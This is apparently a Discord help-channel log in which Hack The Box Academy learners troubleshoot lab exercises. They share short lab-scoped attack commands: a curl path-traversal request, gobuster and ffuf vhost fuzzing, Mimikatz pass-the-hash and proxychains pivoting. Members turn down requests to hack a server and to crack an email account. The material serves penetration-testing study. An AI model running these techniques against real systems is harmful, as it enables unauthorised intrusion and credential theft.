modules

[faint rampart]

It does?
I thought only the specific Azure ingestor and C# ingestor in the download section were the supported ones?

[next bronze]

new collectors don't worth with old bh gui, but old collectors will work with CE

[limber river]

I think those are just official ones , but it suppose to work with old collectors

[next bronze]

yeah that works with CE, just throw it in

[thorn hawk]

hey guys. does anyone knows I why I am having this behaviour with curl but when checking in the source there is clearly more html to be shown. is this something you have encountered?

[muted kindle]

google said thats pure css tree i dont think curl can intepret that

[thorn hawk]

i see. thank you box for using google for me :P. But in the module we are using curl to filter out these parts. maybe i need to think another way to do that. thank you loads @muted kindle

[sacred gull]

Yeah idk about the CE edition, I much prefer the old GUI

[patent flower]

hi everyone
I have two problems
1 - the pentester/information-gathering/archivesweb/ room. For the question "How many Pen Testing Labs did HackTheBox have on the 8th August 2018? Answer with an integer, eg 1234." when I use Wayback machine on that date, I come across the page of a domain name seller.

2- the same room for the skill assessement "What is the API key in the hidden admin directory that you have discovered on the target system?"
I can't use any tool on the inlanefreight.htb

thanks to you

[scarlet badge]

There is a file named revilkaseya.pcap in the /home/htb-student/pcaps directory, which contains network traffic related to the REvil ransomware Kaseya supply chain attack. Enter the total number of bytes that the victim has transmitted to the IP address 178.23.155.240 as your answer.

i put 3469 as answer but it says that's incorrect answer,

can someone give me a hint ?

[fathom niche]

Hi, I'm looking for more context of <b>Introduction to Digital Forensics --> Skills Assessment</b>
"Using VAD analysis" means "Windows.System.VAD" and which suspicious process meaning

[silk anchor]

Would I be right in saying that krbtgt doesn't always have a SPN assigned otherwise it would be an easy kerberoast and golden ticket attack?
The wording of a paragraph is throwing me off slightly as it says "there is one account with a SPN in the target domain" but the command output shows both krbtgt and mssqlsvc.

[junior flicker]

Hey Everyone, working through the Information Gathering-Web Edition module and am trying to complete the Creepy Crawlies section. I installed scrapy on the pwnbox and downloaded ReconSpider.py, but when I go to execute ReconSpider.py I get a ModuleNotFoundError: No module named 'scrapy.downloadermiddlewares.offsite'. How do I move forward since the error is in the ReconSpider.py?

[fathom pendant]

https://discord.com/channels/473760315293696010/1257062567965364334

[junior flicker]

Right, I just found a PyPi for ReconSpider, am I suppose to use that?

[fathom pendant]

No

That pypi is likely a different ReconSpider tool that uses a bunch of API keys

[junior flicker]

Gotcha, so then I guess I should be using what they posted in the module?

[fathom pendant]

Correct

The erratum I linked to has the fix

[junior flicker]

Okay, thank you

[fathom pendant]

And the tool author fixed it but ig it hasn't hit the backend

There's a reason it points to the academy backend for download instead of a pip install

[grand solar]

Quick question about the Pass the Ticket from Windows lesson in the Password Attack module if anyone know, is there a reason we can PowerShell into the Domain Controller with only having john's Kerberos ticket? is it because John has permission or admin access to remote in to it?

[fathom pendant]

Yes

[junior flicker]

That makes sense

[clever sequoia]

I have some question related to htb subscription where can I ask

[fathom pendant]

Support

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[clever sequoia]

thanks

[zenith canopy]

--path-as-is https://<IP>/../../../../../../whoops
what does these escape sequences mean?

[fathom pendant]

Path traversal

When you cd ../ you go back a directory

So chaining them you can go back to root

[wraith pelican]

it seems v1.2 is now in the course material

[zenith canopy]

how do you know you have to move up to six directories?

[fathom pendant]

That's just the standard traversal amount people use

Could you use less? Probably. But doing more than what's necessary ensures you're in the filesystem root

Say you're in your home dir, you can use cd ../../ to get to root fs, but you can use more and still get there

[zenith canopy]

because you are not sure which directory you're moving from?

[fathom pendant]

Correct

When on doubt, throw more on

[zenith canopy]

Got it, thank you for explaining.

[fathom pendant]

Generally you look for a known file on the system to verify (/etc/passwd)

[zenith canopy]

oh okay, in this case, its writing something to a text file called whoops, isnt it?

[fathom pendant]

it depends

It could be reading the file

Executing it

[real tapir]

in this section: https://academy.hackthebox.com/module/19/section/102
it says Since UDP is a stateless protocol and does not require a three-way handshake like TCP. We do not receive any acknowledgment. This seems like a typo, where there should be a comma in the middle. Is it correct as is?

[rustic sage]

Hey how do I chat in general?

[real tapir]

no clue

[rustic sage]

I need help

[unique phoenix]

How i chat in general

[fathom pendant]

#1234357888114364508

Read and follow #welcome

[unique phoenix]

same

[fathom pendant]

That's how you can access #general

[real tapir]

what's the channel for?

[scarlet badge]

can anyone help?

[real tapir]

oh nvm

I see

[unique phoenix]

Guys can someone raid or hacka server

[fathom pendant]

Captured vs displayed

[fathom pendant]

No #rules

[scarlet badge]

what?

[unique phoenix]

I though this was the server to raid people bro

[fathom pendant]

It's not

[unique phoenix]

I mean raid servers

[fathom pendant]

<@&861185840277487616>

[fathom pendant]

Nope

If you read #welcome it tells you what the server is about

[fathom pendant]

Look at your screenshot, it tells you how many bytes were captured and how many are displayed

[surreal rain]

👁️‍🗨️

[scarlet badge]

i know, and the question asks for the bytes that were captured right?

displayed*

[fathom pendant]

no, it just asks for how many was sent

[scarlet badge]

i tried to sum all displayed packets' length and still incorrect answer

[fathom pendant]

I'd say re-read the section as you likely glossed over something that would make this easy for you

[sharp pike]

can someone try to RDP into a machine on Password Attacks>Pass the Ticket (PtT) from Windows? or point me in the right direction to resolve these errors?

[next bronze]

wrap the password in single quotes

[rustic sage]

i need help in the new skills check for the INFORMATION GATHERING - WEB EDITION skills assesment for the question "What is the API key in the hidden admin directory that you have discovered on the target system?". but i dont think i have discorvered a hiddin admin directory. am i missing something, someone pls help.

[acoustic owl]

Look again in the module and then apply all the techniques shown. I'm sure you'll find what you're looking for

[rustic sage]

okay, thx

[fathom pendant]

🤖

[junior flicker]

I'm working through the Fingerprinting section of the Information Gathering-Web Edition. I've run out of ideas for determining the CMS system of app.inlanefreight.local. I went through curl initially, but I don't see any options that will pull more information, so I shifted to using nikto. For some reason nikto isn't connecting to app.inlanefreight.local and I get an error saying "open stream: getaddrinfo problems (Name or service not known)". The command I used is nikto -vhost http://app.inlanefreight.local -host <IP> -Tuning b -Display DV. Any ideas what I'm missing?

[fathom pendant]

is it in your /etc/hosts file?

[junior flicker]

It is not

[fathom pendant]

ip app.inlanefreight.local dev.inlanefreight.local in your /etc/hosts

[fathom pendant]

then that's why it can't resolve

[junior flicker]

I can try that

[fathom pendant]

it's not hosted publicly; it's on the 10.129.x.x HTB network

meaning external routers/DNS can't reach it

also .local isn't a publicly routed TLD as far as I know

[reef pecan]

Hi, can someone go to waybackmachine and verify that this questions can be answered?: https://web.archive.org/web/20170501000000*/https://www.hackthebox.com/

For me, it shows like the above. I asked the support at the academy, they tested it but didn't point me in the right direction.

[fathom pendant]

i didn't use nikto for this tbh i used whatweb

[junior flicker]

Right, but I'm using tge pwnbox?

[fathom pendant]

.eu instead of .com

[fathom pendant]

doesn't matter

you still need to tell your pwnbox where it's redirecting to

[junior flicker]

I answered these this morning

[junior flicker]

Okay, thank you

[reef pecan]

I see, thanks. Got it answered now!

[junior flicker]

Curious, then how did curl work for the other two questions?

[fathom pendant]

i take it you did curl http://ip -H "HOST: app.inlanefreight.local" ?

[junior flicker]

That's correct

[fathom pendant]

well it's because you're telling curl that the vhost you're using is app.inlanefreight.local querying that ip

but if you tried to visit it (without adding to your hosts file) in your browser, it won't load

as in http://app.inlanefreight.local

[junior flicker]

I did that with nikto passing in -vhost and then the IP as -host?

[strange forge]

Further Credential Theft in windows privsec, does it require any vhost setup in /etc/hosts file. as it contains inlanefreight.local

[fathom pendant]

idk how nikto works tbh

[junior flicker]

Okay, just curious

[fathom pendant]

generally when you're given vhosts, you should add them to your /etc/hosts

as the guide itself is assuming this position that you've added it to your /etc/hosts

[junior flicker]

Noted😬

[strange forge]

for some reason *.inlanefreight.local is not working

[fathom pendant]

you can't use wildcards in /etc/hosts

[strange forge]

ahhh

ehh

[shell solar]

hi, mb somebody had this problem or know how fix that? *deleted
i also try to do sudo useradd -M -s /sbin/nologin 10.129.95.230$
sudo smbpasswd -a -m 10.129.95.230, but its not working

[fathom pendant]

bruh idek what you're overcomplicating here

like all those commands you just referenced is hard overcomplicating this shit

also you don't need sudo to use smbclient

it helps if you tell us the module and section you're doing

it looks like there's some weird conflict with the smb server you have running

and not the target

[shell solar]

password attacks, network services

I did the same on the pwn box but got the same errors

[fathom pendant]

well

maybe john doesn't have SMB access

all the users for this section are unique

also those screenshots contain spoilers for john's login, i suggest deleting

it doesn't show he has read access to that share bud

again ALL USERS for this section are unique

you will not reuse any users for other questions of this section

WinRM user is different from ssh user is different from SMB user

[shell solar]

ok, thx

[fathom pendant]

look at the share name for your hint as to what user you might want to sniff for

[young wyvern]

I’m doing the “Cracking into HTB” path on the third module, part 8 anytime I’m using gobuster, its giving me this error with the provided host “unable to validate base domain: http://94.237.53.113:36235/ (lookup http://94.237.53.113:36235/: no such host)”

Gobuster dns -d http://94.237.53.113:36235/ -w name list.txt is the command I’m using

[fathom pendant]

You need to add a --domain flag or have the site in your /etc/hosts and call it with http://site:port/

[rustic sage]

Hi, I'm doing the INFORMATION GATHERING - WEB EDITION model and I'm in the Virtual Hosts section and I'm stuck, I'm doing the following command
gobuster vhost -u http://94.237.59.199:34810/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain and it doesn't work I don't know what to do I need to replace the List words? or add use another flag

[fathom pendant]

You need a domain to append

[young wyvern]

Alright thank you will try that out

[rustic sage]

ha

[fathom pendant]

--append-domain would append the domain from the http://ip:port

--domain is a way around it

--domain inlanefreight.htb

[rustic sage]

ty

[fathom pendant]

Also I have 0 idea what module this actually is

[young wyvern]

It’s a beginner one

[fathom pendant]

Brother just say the module name

Not the path name

[young wyvern]

I can’t find it lol anytime I go to the path it won’t give me an overview of them all

[fathom pendant]

Oh it's the getting started module

[young wyvern]

And in the “in-progress modules” tab it doesn’t show up there

Ah that’s it? Thought that was different my b

[fathom pendant]

Click the "enroll button" next to the cracking into htb skill path

[young wyvern]

It is indeed in my in progress tab

[fathom pendant]

And it'll populate the list in your dashboard

I don't recall needing to use gobuster dns for this module

[young wyvern]

Hmm, it seems like that’s what I have to use since everything else doesn’t give me the flag but then I run into that issue

[fathom pendant]

What section?

[young wyvern]

8 web enumeration

[fathom pendant]

You're gonna feel so dumb

[young wyvern]

I bet

[fathom pendant]

Use dir first

[young wyvern]

Lmao

[fathom pendant]

With the common.txt

[young wyvern]

Yeah I was having trouble finding the path for common.txt

But I just found it

Not the same as in the example

[fathom pendant]

Yeah example is using the old pwnbox version

[young wyvern]

Ahhhh makes sense

[fathom pendant]

find / -name "common.txt" 2> /dev/null

[timber hatch]

tried the obvious

[fathom pendant]

Hopefully it's smooth from here

I also suggest using your own vm

Makes everything a lot smoother and more controlled

[timber hatch]

nvm

[young wyvern]

Haha yeah thank you just wanted to do the beginner to get aquatinted with HTB, and yeah I figured it out now

[young wyvern]

I would but I’m doing this all at work lmao

[fathom pendant]

Lol yeah

[young wyvern]

I lied I assumed now that I need to go in order but any of the domains I use can’t be found must be looking in the wrong place

[fathom pendant]

You don't need a domain

You can visit http://ip:port in the browser

And http://ip:port/[found file/directory]

[rustic sage]

👀

[fathom pendant]

It's why I said to use dir and not dns

Dns isn't required at all for this exercise

[reef stratus]

Well I cannot recover my email

[fathom pendant]

Skill issue

[young wyvern]

I figured it out my b, didn’t think it would be that easy was trying too hard lol

[fathom pendant]

But not something anyone here can help with

[fathom pendant]

It's the "getting started" module. It doesn't get simpler than these

[reef stratus]

It's not actually I forgot change my old number to new number
I set my email as recovery

This how I became dumb

[fathom pendant]

Again no one can help you with that

[reef stratus]

I am getting crying and crying over if no one help about those password.
I am just child with fragile mind in adult

[fathom pendant]

https://tenor.com/view/michelle-tomlinson-does-not-want-finn-as-mod-gif-17112295783149218487

[wanton idol]

womp womp

[fathom pendant]

Reach out to the support team that you're locked out of

[reef stratus]

Worst thing is I cannot remember the password

[wanton idol]

we are not staff

[fathom pendant]

This feels like beyond HTB

Actual Email issue

[nova snow]

can anyone advise on the skills assessment for broken authentication? I'm having some trouble with the 2fa

[reef stratus]

I reached to the staffs

[fathom pendant]

Then be patient

[reef stratus]

Sounds like dangerous people with password cranking

[rustic sage]

^^

[fathom pendant]

Nothing can be done for you on the discord brother

[rustic sage]

Don't ask for help on discord. Rule no.456

[wanton idol]

especially if you just yapping away in here T-T

[fathom pendant]

Well don't ask for something that literally can only be helped via support channels

[rustic sage]

[reef stratus]

Support didn't do anything 😭

[rustic sage]

Wait for them to see your ticket.

[reef stratus]

They like " they cannot do reset at their end"

[fathom pendant]

https://tenor.com/view/holes-grandpa-thats-too-damn-bad-gif-15698581

[fathom pendant]

What exactly are you locked out of?

[wanton idol]

oh well just make a new account 🤷‍♂️

[fathom pendant]

Your HTB account? Your actual email?

[reef stratus]

The password and I forgot to change recovery email and phone numbers

[wanton idol]

imagine its the actual email acc

[fathom pendant]

That doesn't answer the question

[wanton idol]

my guess he doesnt have access to the email he put on htb so he cant reset it

[fathom pendant]

This sounds like your actual email account

[reef stratus]

Yeah

[zealous summit]

How do I solve this lab, who can help ?

[fathom pendant]

Yeah so stop bitching in discord

[wanton idol]

bro how would htb solve that LMAO

[fathom pendant]

Reach out to your email provider for support

[wanton idol]

go reach out to google or make a new account LMAO

[zealous summit]

https://academy.hackthebox.com/module/108/section/1233

[fathom pendant]

Are you logging into https://[target_ip]:8834

From there, there are prerun scans for you to analyze

Everything you need to know is in the previous sections

[zealous summit]

like what

[fathom pendant]

Analyzing the scans

It sounds like you didn't do shit or read anything

[wanton idol]

if u confused i suggest re-reading the section LMAO

its pretty simple and straight forward

[fathom pendant]

This is regarding the nessus vuln assessment; all the sections in the nessus subsection teach you how to use nessus

[zealous summit]

Yes, i,m still a beginner

[reef stratus]

I did but state ID won't provide because Indian people don't know about that lol

[fathom pendant]

Well you can't learn if you don't read

[wanton idol]

oh i see and ^

[fathom pendant]

That's too fucking bad

[wanton idol]

bro what are we suppose to do?? what do u expect 💀

[fathom pendant]

To sum it up @reef stratus no one here can help you

[reef stratus]

My last option was search password cranking

[fathom pendant]

I strongly recommend stop asking

[fathom pendant]

This is illegal

You don't own your email account, the provider does

[wanton idol]

a simple solution is make a new account 👍

[zealous summit]

But I don't know which sections I should start with

[dusky gyro]

re-read it all...

[reef stratus]

Bro I am actually crying and going through panicked

[fathom pendant]

Well nothing anyone here can do for you

We simply do not care

[wanton idol]

[reef stratus]

Fine...

[viral lotus]

also if something doesn't make sense google and youtube are your friends, nessus is one of the most known tools literally type it into youtube youll understand most of what you need

[wanton idol]

saying that in a discord is wild

[fathom pendant]

<@&861185840277487616> they keep bugging about wanting someone or help attacking their email that they're locked out of

[urban sage]

https://tenor.com/view/ive-been-summoned-berry-mint-gif-26570751

[reef stratus]

It's not about attacking

[fathom pendant]

Yes.it is

[wanton idol]

💀

[zealous summit]

what

[reef stratus]

Bruh

[fathom pendant]

Password cracking is attacking

[fathom pendant]

Re-read the module up to the nessus assessment

There's the working with nessus scan output section that also may be helpful

[wanton idol]

and if something doesnt make any sense while your reading it you can come here for help

[fathom pendant]

But we can't help you if you're too lazy to read the info

[wanton idol]

^^

[fathom pendant]

Of you're doing any of the cert paths it's highly encouraged to take notes

[kindred dawn]

Need help in the Password attack path PTH (pass the hash) section, the question about \DC01\David\david.txt

[fathom pendant]

Just do the thing

Make sure you're adding /run:cmd.exe to launch the new cmd prompt with the user

[kindred dawn]

yeah thats what im doing

with miminatz, from local Admin on MS01

specifying domain also. Maybe my machine is dead ill try resetting

[fathom pendant]

If a new cmd prompt opens, it works

[nova snow]

Can anyone provide advice on the skills assessment for broken authentication? I'm encountering issues with the 2FA implementation. Any tips or guidance would be greatly appreciated.

[fathom pendant]

Iirc you don't need to bruteforce it

[nova snow]

Hmm, I'm not sure what else to d

[acoustic owl]

look again in the module. It shows you various techniques

[viral lotus]

in the Windows Event Logs & Finding Evil module it seems evil to put the mimikatz question last its so much easier than the other 2, I felt like faceplanting my keyboard before that one haha

[kindred dawn]

omg nvm im so stupid i had it from the start..., I was chcking who I was logged in locally

[obtuse haven]

im a bit confused in the Web Recon - Skill Assessment section

the website does not seem to have much to play with

i had done this before the update and the questions were different

[kindred dawn]

weird 0_0

[dusky gyro]

hints are in the beginning part of "need to apply a variety of skills learned in this module including:"

[fathom pendant]

I'd recommend redoing the questions, even though you can't change the answer

[obtuse haven]

yeah i have do so so far

[fathom pendant]

Did you identify x.y.inlanefreight.htb?

Also: don't forget to add any found subdomains to /etc/hosts

[obtuse haven]

oh the question said vHosts needed for these questions: inlanefreight.htb so i didnt go much into finding vhosts

[fathom pendant]

That's just to start

If you can't find something: start digging

[obtuse haven]

i tried going with subdomains even though the question seemed to suggest otherwise, didnt think of trying one like x.y.inlanefreight.htb tho thanks

[fathom pendant]

Well you gotta find y before x

Subdomains-top1million-110000.txt is usable for both

[obtuse haven]

maybe i only tried the 20000 before though

[fathom pendant]

Yeah I double triple checked and the subdomain is only on that and the combined list (which is about 60x larger)

[obtuse haven]

great i thought of trying but honestly i was skeptical of enumerating subdomains because of how the question was phrased

[obtuse haven]

and got it indeed

[fathom pendant]

It's the wordlist showcased throughout the module btw

[shell solar]

@fathom pendant https://imgur.com/a/pCH8WYP same problem, this is the fourth login data they are unique but the error is the same

[fathom pendant]

Well like I said it looks like whatever you did earlier is fucking with you being able to connect to the target

Take out the -P argument and see if putting in the password that way works

[shell solar]

no

do_connect: connection failed NT_STATUS_NOT_FOUND

[fathom pendant]

Well that's a different error at least

[next bronze]

try using the impacket smbclient maybe

[fathom pendant]

Wait

[fathom pendant]

Your // are the wrong way

It's either \\\\ip\\share or //ip/share

[shell solar]

yes it already works

thx

[fathom pendant]

The reason for \\\\ is that bash will interpret it as \\

Because \ is the escape character

[obtuse haven]

yeah it was all easy after understanding the correct wordlist indeed

thank you

[fathom pendant]

Np

ReconSpider (HTB) is goated btw

[obtuse haven]

yeah it is actually pretty useful. maybe i could have struggled a little with the double subdomain because it is something i havent found before doing HTB machines and i dont usually test it, but i guess at some point i would have tried it

i guess next time im stuck it will come to my mind way quicker

[fathom pendant]

All about walking away with new knowledge instead of beating yourself up over it

[upbeat oak]

Doing the live engagement of the shells and payload and trying to get a hostname of host 1, trying to enumerate using nmap but even a -A isn't giving me anything I'm pretty sure there should be an rdp port considering the question, should I just scan directly for rdp?

[fathom pendant]

You need to rdp to the jump host to scan the internal targets from

(Or use host 1 as a jump host)

[upbeat oak]

When running nmap it shuts down my rdp though

[fathom pendant]

Running nmap from the jump host?

Btw jump-host I'm referring to the 10.129.x.x target spawned

Hosts 1-3 are internal to the jump host

On the 172.16.x.x network

[upbeat oak]

Wait so I'm not supposed to be running nmap directly on the host but on the jump host?

[fathom pendant]

Ok so let's break this down

You can only access the jump-host [10.129.x.x] from your machine
The hosts are on the 172.16.x.x subnet [which the 10.129.x.x host has access to]

[upbeat oak]

tracking

[fathom pendant]

You need to either pivot through the jump-host, or use tools on the jump-host to scan and exploit the hosts

The jump-host is a parrot attack-box

[upbeat oak]

Hmmm I'm a little lost there, I understand what you mean however I need to think on the method

[next bronze]

I belive a network digram is provided in the section

[fathom pendant]

^

You need to use the jump-host [10.129.x.x] to scan the hosts 1-3

[upbeat oak]

Okay I think I'm tracking now

[fathom pendant]

I think one of the biggest things I learned is that you can do protocol://(ip/site) to try and access a site via that protocol over a browser

[upbeat oak]

thanks for the help btw

[next bronze]

yeah surprisingly browsers can do a lot of things

my firefox even works as a file explorer

[fathom pendant]

file://path/to/file yeah?

[next bronze]

yep

[glad citrus]

Anyone have a guide to installing crackmapexec on the HTB parrot machine?

[fathom pendant]

Use netexec instead

https://www.netexec.wiki/getting-started/installation

Crackmapexec is archived and no longer being maintained

[sacred gull]

cme is obsolete with nxc now

[fathom pendant]

Netexec is the same tool (literally)

Tl;Dr the main people updating and actually maintaining cme did not like the direction the repo owner for cme was going, so they forked it

[sacred gull]

There is a free installation and lab:
https://www.nameyourpricetraining.com/courses/b6ce7e4c-5748-4272-b776-c400481791f6/take/content

[glad citrus]

Thanks!

Thanks everyone. Finally make some headway on the password attack module 😓

[viral lotus]

oh wicked to know that about cme I'll bookmark that for when I need it, thanks.

[fathom pendant]

If you wanna dive fully into the reason, you can read the discussion on the cme github

[muted jacinth]

has anyone completed the windows evasion technique module?

and sorry Hi (losing my decency or what)

[fathom pendant]

it helps if you state what you've tried, what section you're working on so that people aren't just suggesting you to try what you've already done

https://dontasktoask.com ; https://nohello.net

[muted jacinth]

okay,
Introduction to Windows Evasion Techniques

Page 3
Static Analysis

Static Analysis

got this but no flag appear. wonder if it's normal

[fathom pendant]

well if no flag appears, then you're likely doing something wrong

it's getting deleted because it's large block of text and your account isn't linked ( #welcome )

[muted jacinth]

ok

ok so the cat.log text display it's 'OK' but apparently is not

can't paste it cause too big app

[next bronze]

your project configurations need to be excatly the same as the module's

[strange forge]

Further Credential Theft in windows provesc, i got the winscp creds. but it is not getting connected. it says tr******.inlanefreight.local does not exist

[sharp pike]

Password Attacks>Pass the Ticket (PtT) from Linux: having issues understanding what "export KRB5CCNAME" is supposed to be. I have set it to "julio" & tried to get the file as instructed but smb wont connect

[muted jacinth]

oaky... that seems corny a bit but okay

[round epoch]

Hi, I'm completing Information Security Foundations and have hit a problem with the Windows 10 VM: it does not exist. I downloaded 23+Gigabytes of what I thought was the Windows 10 Developer Evaluaton VMware machine, but it does not install, as there is nothing to install after extraction. What have I missed?

[next bronze]

you want to install a windows 10 vm? use media creation tool to make an image or get an iso

[muted jacinth]

anyway it feels kinda weird cause when the module start they're disclosing not to do the module anywhere else than their vm but like first real question is litt something you can't do on the provided vm cause it's the target one and not the dev one so you have to do the compiling stuff on your own vm, feels odd

[next bronze]

that's not the right environment variable to set

[sharp pike]

it felt wrong doing it, i'm at a loss

[next bronze]

check the example

[round epoch]

@next bronze I am following explicit instructions on what and how to install Windows 10. I have an installation of VMware; I have installed ParrotOS on the VM. The task now is to install Windows 10, but the description of the download is that it is a pre-configured VMware machine. This is where I am having a problem. There is no installation media for Windows 10 VMware, or at least, I have been unable to find it among the 23 GB of data I downloaded.

[sharp pike]

thanks I was getting mixed up in my notes

[next bronze]

like I said, you should install the proper way using media creation tool to make an image or get an iso, there are youtube videos on how to do that. if you want to use the premade vm you can just open the ovf with vmware, but that image is bloated as hell

[round epoch]

@next bronze Okay; I'll give both a try. Thank you.

[upbeat oak]

If they update a module do you have to redo it again to complete the cpts pathway? One of the modules I completed says I have more to do now?

[round epoch]

Thanks for your help. I used the .ovf installer; Windows 10 is up and running.

[hushed sail]

As far as I know, no. It’s still marked completed. But it probably would not be a bad idea to go over the updated version a few times, as I do not know if those updates are reflected in the CPTS exam.

[upbeat oak]

I'm definitely going to do all of them again. Just weird having my completion level just drop since it definitely went from view to continue

[fathom pendant]

only if you reached 100% path completion prior to the update

[upbeat oak]

Damn noted

[hushed sail]

Marcie knows for sure. I was just guessing. Don’t listen to me 😂

[upbeat oak]

😂 still appreciate the response

[fathom pendant]

i mean the only people with the actual knowledge is support

so if you really wanna know, bug them

[hushed sail]

Yeahhhhh I should not have responded tbh

[fathom pendant]

my knowledge comes from the last time something like this happened (The addition of the thick clients to common apps

[rustic sage]

i did that b4 so i help u in like 30 min

[fathom pendant]

bro how did i not know about this https://help.obsidian.md/Editing+and+formatting/Callouts

[junior flicker]

Okay, I'll reach out when I'm ready, need to put our oldest to bed

[rustic sage]

:)... im 14 years old, could technicly be your son 😂

[rustic sage]

okay ready to help, so basicly when i was doing the question i didnt know what a cms what so i asked chatgpt "in the context of this question what is a cms" and it replyed by telling me what it was and listing some common ones, then i ran whatweb and searched for a common cms and if u do that you should find your anser

[fathom pendant]

it also helps that it even says "Content Manager" in the tag for it

i've had wappalyzer be hit or miss with this question tbh

some people get it, some don't

[rustic sage]

😭

[fathom pendant]

whatweb doesn't fail me 🙏

[fathom pendant]

if you don't believe me go back and look at the whatweb output

[rustic sage]

nonono, i used whatweb

[rustic sage]

yes

[fathom pendant]

I think way back when i did this (yes it's a repeated target from the previous iteration) I just looked for the most common word in the source code

if you also view the page it also says it multiple times

sometimes you can make leaps of logical deduction

"man this is repeated a bunch of times..."

[rustic sage]

yes

[fathom pendant]

it's just knowing when you can safely make the logical deduction, and when to continue digging

[rustic sage]

also why did u comment robot i checked robots.txt but it is not there?

[fathom pendant]

there's definitely a robots.txt on one of the subdomains for the hidden dir

[rustic sage]

ah, havent checked that... big brain

will do

[fathom pendant]

but good deduction that i was referring to the robots.txt

[flat parrot]

Hey its funny but I can't close this chat

[fathom pendant]

support will close the chats on their end

just click the green bubble to minimize the chat view

[flat parrot]

When I press, opens this another

But no problem, Ill disable it, thanks!

[fathom pendant]

ah

weird issue ¯_(ツ)_/¯

[flat parrot]

yes >_<

[rustic sage]

someone pls help:

Does anyone know why it’s not working for me, and if it’s not a problem on my part who should I contact so I can finish it.

not working (wanna find subdomains)

for the info gathering web iditions skills check

idk why its not working anymore

i tried restarting and reseting host

[mint peak]

I've had extensive issues with the info gathering web edition skills check as well. Couldn't seem to get it working. I finished it months ago before they updated it, have issues going back to it now.

I just decided to move on for now @rustic sage

[trail sail]

Hi everyone,
Can someone help me out? I'm in the AD Module | AD Enumeration & Attacks - Skills Assessment Part I. I'm about to get the last user and password, but the command just isn't working.

[rustic sage]

thc u (now ik not just me) will ask ing help section

[trail sail]

You actually don't need to do the labs again. You can bypass the module by simply completing the new pending reading.

[mint peak]

Yes, I know that. Still not bad to go through again to refresh and check in on the new content they added. 🙂

They changed many of the questions in the module, so the listed old answers aren't actually correct for the new questions. Wish they would either reset it or give us the option to reset it.

[next bronze]

your proxychains is timing out

[rustic sage]

what do u mean?

how can i bypass

bc having much isues with this

[rustic sage]

What does this mean

[rustic sage]

How can I do pleat the module if not working

[trail sail]

Literally just navigate through all the sections of the module until you have no pending sections left to complete. This works only if you already completed the module before the update. This allows you to bypass=complete the module without doing all the labs again

[mint peak]

If this is your first time going through the module, you are fine. I finished the module months ago before they updated it. My old answers to the old questers are still there, but there are new questions. It doesn't matter for you, just for people who did it before the update

[junior flicker]

😆

[trail sail]

lmao. i can't ping to the IP lol.
That is why is timing out right?

[junior flicker]

Thank you, I'll give that a go shortly

[mint peak]

Are you pinging from the PwnBox or your own personal? Further, is that host actually up?

[muted kindle]

U should try ligolo
Proxychains doesn’t support icmp

[next bronze]

that's a different subnet, you'll need to pivot

[trail sail]

PwnBox. i found that IP this monday and maybe is not the same now.

[trail sail]

Do you have any hint on why proxychains is timing out?

[split glade]

Did you write 172.0.0.1 instead of 127.0.0.1 in /etc/proxychains.conf?

[trail sail]

Yeah i did

[rustic sage]

It is up and I have tried both own box and personal

[trail sail]

That was it lol

[split glade]

Yes that didn't help ^^

[trail sail]

Still timing out. 😦

[rustic sage]

But i think it does matter, I just started it today and final part not working

Very confused

Ahhh

[fathom pendant]

do you have the port forwarding set up?

I used ligolo-ng and not one of the other methods that involves proxychains so I wouldn't know

you need to have a listener within the network that allows you to forward the request through that socket

[junior flicker]

@rustic sage @fathom pendant I used whatweb and got it, I'm still curious to get nikto working, but I can wrestle with that later. Thank you both for your help!

[rustic sage]

Np

[rustic sage]

Does anyone know why this is not working? And if it’s not a problem on my end who should I contact to get it fixed?

[split glade]

During this module you may want to try ligolo-ng too (like several people said)
For your problem, maybe you need to use socks4 127.0.0.1 9050 instead of socks5 127.0.0.1 1080, not sure what netexec supports

[fathom pendant]

use a different wordlist

[rustic sage]

Okay, thx will try (if all it was was the wordlist will rage)

[trail sail]

Got it, thank you all. Much appreciated!

[fathom pendant]

it also helps to use inlanefreight.htb:port instead of the IP for --enum

[rustic sage]

Okay

Thc u

[fathom pendant]

what section are you on?

[rustic sage]

Skills check

[fathom pendant]

then yeah

use the subdomains-top1million list that's been referenced a lot in this module

it will be useful to add -r as well to the dnsenum command

[fathom pendant]

as a note; add all found subdomains to the hosts file on the same line as the inlanefreight.htb entry

you can put multiple entries on the same line
ip entry1 entry2 entry3 ...

[rustic sage]

Thx ( I already knew but Thc u for help… will run with bigger worklist now)

[fathom pendant]

After that just enumerate the found subdomains

[rustic sage]

Ok

not working dont think its problem with wordlist not resolving: inlanefreight.htb:37582 NS record query failed: NXDOMAIN

[fathom pendant]

Don't worry about that part

[rustic sage]

?

But that’s the last part it doesn’t run the wordlist not fuzzing at all I don’t think

Also not working with ffuf

It’s as if not recognizing what’s in hosts file

Like dns broken or smt

[fathom pendant]

nah

[rustic sage]

?

Hdsksjsjsjsjsjkwjf xxs

Rage

[fathom pendant]

i used ffuf for this

not dnsenum btw

dnsenum really only works if DNS is running btw

[wanton idol]

bros having a seizure

[fathom pendant]

gobuster also worked for me

[rustic sage]

Here’s what I will do, will submit vid of me trying to do it in help section so u and others see

[fathom pendant]

idk what to tell you dude

ffuf and gobuster worked for me

what's your ffuf command?

[rustic sage]

Almost

[wanton idol]

is he doing the footprint module?

[fathom pendant]

nah

the information gathering - web edition

skill assessment

[wanton idol]

ah gotcha

[rustic sage]

Doesn’t work even after u let it finish

[fathom pendant]

that's not how you fuzz for hosts

[wanton idol]

vhost*

[fathom pendant]

ffuf -w <wordlist> -u http://host:ip -H "HOST: FUZZ.host" -ac

it's taught how to do this in the module

at least with gobuster

[rustic sage]

Ah fk ur completely right I totally forgot 💀

[wanton idol]

loll

[rustic sage]

Thc u so much

[fathom pendant]

gobuster vhost -u http://host:port -w <wordlist> --append-domain

you can also increase threads

just tested mine with 100 threads and should be safe

-ac autocalibrates and throws away the junk responses btw

shiiiiet 1000 threads works too

gobuster does not like 1000 threads

[fathom pendant]

also your wordlist is wrong

you went smaller not larger btw

the previous list you used was 20000 current 5000

[fathom pendant]

@rustic sage I just spun up a target and ran the commands to enumerate and stuff and it all worked as intended

also to add on- with results.json from the ReconSpider tool; you can do cat results.json | jq -r '.[key]' (replacing [key] with the json key value, leaving the leading .)

the key values are in the creepy crawlies section if you wanna look it up

[rustic sage]

Thc u, will do… not yet though in 2 days bc bed time rn and tmr have flight

[fathom pendant]

rest well brother have a safe flight

[rustic sage]

Thx, u too

[jaunty mortar]

